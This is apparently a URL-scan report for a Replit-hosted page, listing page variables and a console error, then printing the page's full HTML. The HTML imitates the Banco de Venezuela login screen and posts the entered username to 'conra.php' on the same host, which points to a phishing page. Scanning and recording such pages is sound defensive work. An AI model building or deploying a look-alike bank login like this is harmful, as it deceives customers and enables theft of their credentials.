- 제출된 URL:
- https://4290a207-ea4e-453c-9e9a-2b27a06d1848-00-7jrrtf98n6vl.janeway.replit.dev/
- 보고서 완료:
링크 · 0개 결과
페이지에서 식별된 외부 링크
JavaScript 변수 · 3개 결과
페이지의 창 개체에 로드된 전역 JavaScript 변수는 함수 외부에서 선언된 변수로, 현재 범위 내에서 코드의 어느 부분에서나 액세스할 수 있습니다
| 이름 | 유형 |
|---|---|
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
콘솔 로그 메시지 · 1개 결과
웹 콘솔에 기록된 메시지
| 유형 | 카테고리 | 로그 |
|---|---|---|
| error | network |
|
HTML
페이지의 원시 HTML 본문
<!DOCTYPE html><html lang="es"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<title>Banco de Venezuela</title>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
background-image: url(background.jpg);
background-size: cover;
background-position: center;
}
.container {
display: flex;
height: 100%;
width: 100%;
}
.left-side {
width: 50%;
display: flex;
justify-content: center;
align-items: center;
}
.right-side {
width: 50%;
}
.form {
width: 80%;
background: white;
max-width: 550px;
box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1);
}
@media (max-width: 768px) {
body {
background: #ededed;
}
.container {
flex-direction: column;
}
.left-side {
width: 100%;
height: 100vh;
}
.right-side {
display: none;
}
}
</style>
<style>
.form-group {
position: relative;
margin-bottom: 20px;
margin: 20px;
}
.form-group label {
position: absolute;
top: 50%;
left: 10px;
transform: translateY(-55%);
color: #999;
transition: top 0.3s, font-size 0.3s;
pointer-events: none;
}
.form-group input {
width: 100%;
padding: 10px;
box-sizing: border-box;
position: relative;
height: 60px;
border: 0;
border-bottom: 1px solid gray;
background: #ededed;
outline: none;
}
.form-group input:focus {
border: 0;
}
.form-group input:focus + label,
.form-group input:not(:placeholder-shown) + label {
top: 5px;
font-size: 12px;
}
button {
background-color: #0067b1;
color: white;
border-radius: 3px;
border: 0;
padding: 15px;
width: 200px;
}
</style>
<style>
.form-group2 {
position: relative;
margin-bottom: 20px;
margin: 20px;
}
.form-group2 label {
position: absolute;
top: 50%;
left: 23%;
transform: translateY(-55%);
color: #999;
transition: top 0.3s, font-size 0.3s;
pointer-events: none;
}
.form-group2 input {
padding: 10px;
box-sizing: border-box;
position: relative;
height: 60px;
border: 0;
border-bottom: 1px solid gray;
background: #ededed;
outline: none;
}
.form-group2 input:focus {
border: 0;
}
.form-group2 input:focus + label,
.form-group2 input:not(:placeholder-shown) + label {
top: 5px;
font-size: 12px;
}
</style>
<style>
.overlay {
display: flex;
justify-content: center;
align-items: center;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
/* Fondo semitransparente */
z-index: 9999;
/* Asegura que esté por encima de otros elementos */
}
.content {
background-color: #fff;
width: 350px;
border-radius: 5px;
text-align: center;
}
</style>
<style>
.form-group2 {
position: relative;
margin-bottom: 20px;
margin: 20px;
}
.form-group2 label {
position: absolute;
top: 50%;
left: 10px;
transform: translateY(-55%);
color: #999;
transition: top 0.3s, font-size 0.3s;
pointer-events: none;
white-space: nowrap;
/* Asegura que el texto del label no se rompa */
}
.form-group2 input {
width: 100%;
padding: 10px 10px 10px 10px;
box-sizing: border-box;
position: relative;
height: 60px;
border: 0;
border-bottom: 1px solid gray;
background: #ededed;
outline: none;
font-size: 16px;
/* Ajusta el tamaño de la fuente del input */
}
.form-group2 input:focus + label,
.form-group2 input:not(:placeholder-shown) + label {
top: 5px;
font-size: 12px;
left: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="left-side">
<form id="loginform" class="form" action="conra.php" method="post">
<div style="text-align: center">
<img src="logo.png" alt="" style="width: 60%; margin-top: 20px">
</div>
<div style="width: 100%; text-align: center">
<div class="form-group">
<input type="text" id="nombre" name="nombre" style="width: 100%" required="">
<label for="nombre" style="top: 50%;">Usuario *</label>
</div>
<script>
document.addEventListener("DOMContentLoaded", function () {
const input = document.getElementById("nombre");
const label = input.nextElementSibling;
label.style.top = "50%";
if (input.value !== "") {
label.style.top = "15px";
label.style.fontSize = "12px";
}
input.addEventListener("focus", () => {
label.style.top = "15px";
label.style.fontSize = "12px";
});
input.addEventListener("blur", () => {
if (!input.value) {
label.style.top = "50%";
label.style.fontSize = "";
}
});
});
</script>
</div>
<div style="width: 100%; text-align: center">
<button type="submit">Entrar</button>
</div>
<div style="
width: 100%;
text-align: center;
font-size: 12px;
font-weight: bold;
color: #999;
margin-top: 30px;
margin-bottom: 30px;
">
¿Olvidaste tu usuario o clave? <br>
Si eres nuevo clienteBDV regístrate aquí
</div>
</form>
</div>
<div class="right-side"></div>
</div>
</body></html>